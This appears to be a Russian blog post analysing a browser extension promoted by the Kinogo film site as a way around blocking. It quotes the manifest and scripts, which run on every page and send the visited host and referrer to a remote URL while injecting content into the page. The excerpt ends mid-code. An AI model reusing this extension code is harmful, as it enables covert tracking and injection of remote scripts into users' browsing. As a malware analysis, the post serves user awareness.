Браузерное расширение от сайта Kinogo

Продолжая тему вредоносных расширений, рассмотрим следующее.При входе на сайт Kinogo начал возникать баннер: 41d724125f034c0eb90838c8ed3a1d97.pngМне стало интересно что это за расширение и решил просмотреть код.

Почему появилось расширение? Информация от создателей (скриншот группы vk, ниже будет продублировано текстом, не портите зрение):

b92ac7e249d840c1b5d6c378001e6b6a.png Текст со скриншота Всем привет! С недавних пор мы запустили на kinogo.co оповещение для посетителей касающиеся установки наших плагинов (под Mozilla Firefox, Google Chrome, Яндекс Браузер и тд) направленных на обход возможной блокировки нашего проекта провайдерами РФ и граничащих с РФ странами. Мы подтверждаем все плагины наши, и мы активно их поддерживаем.Единственный плагин который у нас еще не готов под браузер Opera, ожидайте в скором будущем. Поддержка Internet Exploler не будет.

Оповещение вылетает раз в сутки на сайте, если сегодня вы по какой-либо причине не установили расширение, у вас будет возможность завтра установить или отказаться от него закрыв окошко.

О расширении Стоит отметить, что расширений существует несколько (не меньше 3х). У разных пользователей могут возникать разные ссылки на расширения. Те расширения, что мне попались, содержали идентичный код. Поэтому остановлюсь на этом.

Название: Angry Racoon — уход от банаДата последнего обновления: 5 Мая 2015.Версия: 1.0.3

Обзор кода расширения Коротко опишу, только интересную цепочку:

1. Разбор любого расширения начинается с manifest.json

manifest.json { «background»: { «page»: «html/background.html» }, «content_scripts»: [ { «js»: [ «core/frameworks/cajon.js», «core/frameworks/jquery.js», «core/process.js» ], «matches»: [ »*://*/*» ], «run_at»: «document_start» } ], «description»: «Мы анализируем каждый сайт который вы посещаете и боремся за свободный Интернет!», «icons»: { »128»: «images/128.png», »16»: «images/16.png», »48»: «images/48.png» }, «manifest_version»: 2, «name»: «Angry Kino — уход от бана», «permissions»: [ «webRequest», «webRequestBlocking», «webNavigation», «tabs», »\u003Call_urls>» ], «update_url»: «https://clients2.google.com/service/update2/crx», «version»:»1.0.3», «web_accessible_resources»: [ «images/_.png», «core/content.js», «core/contentSession.js», «core/messaging.js», «core/frameworks/uri.js», «core/backgroundHandlers.js», «core/backgroundSession.js», «core/backgroundUtils.js» ] } 2. Из значения ключа «content_scripts» следует, что кроме фреймворков на КАЖДУЮ, открытую пользователем страницу, подключается файл process.js

process.js require.config ({ baseUrl: chrome.extension.getURL ('/') });

require ([ «core/content» ], function () { }); 3. В process.js, с помощью функции require, подключается файл «content.js»

content.js define (function (require) { exports = {};

(function () { var messageDispatcher = require ('core/messaging').MessageDispatcher;

messageDispatcher.sendToBackground ( { cmd: 'GetRequestUrl' }, function (url) { if (url) { url = url.replace (/^https?:/, '') + '&r=' + encodeURIComponent (document.referrer) + '&h=' + encodeURIComponent (document.location.host) + '&rand=' + (new Date ()).getTime ();

if (document.head) { $(«head»).append ($(»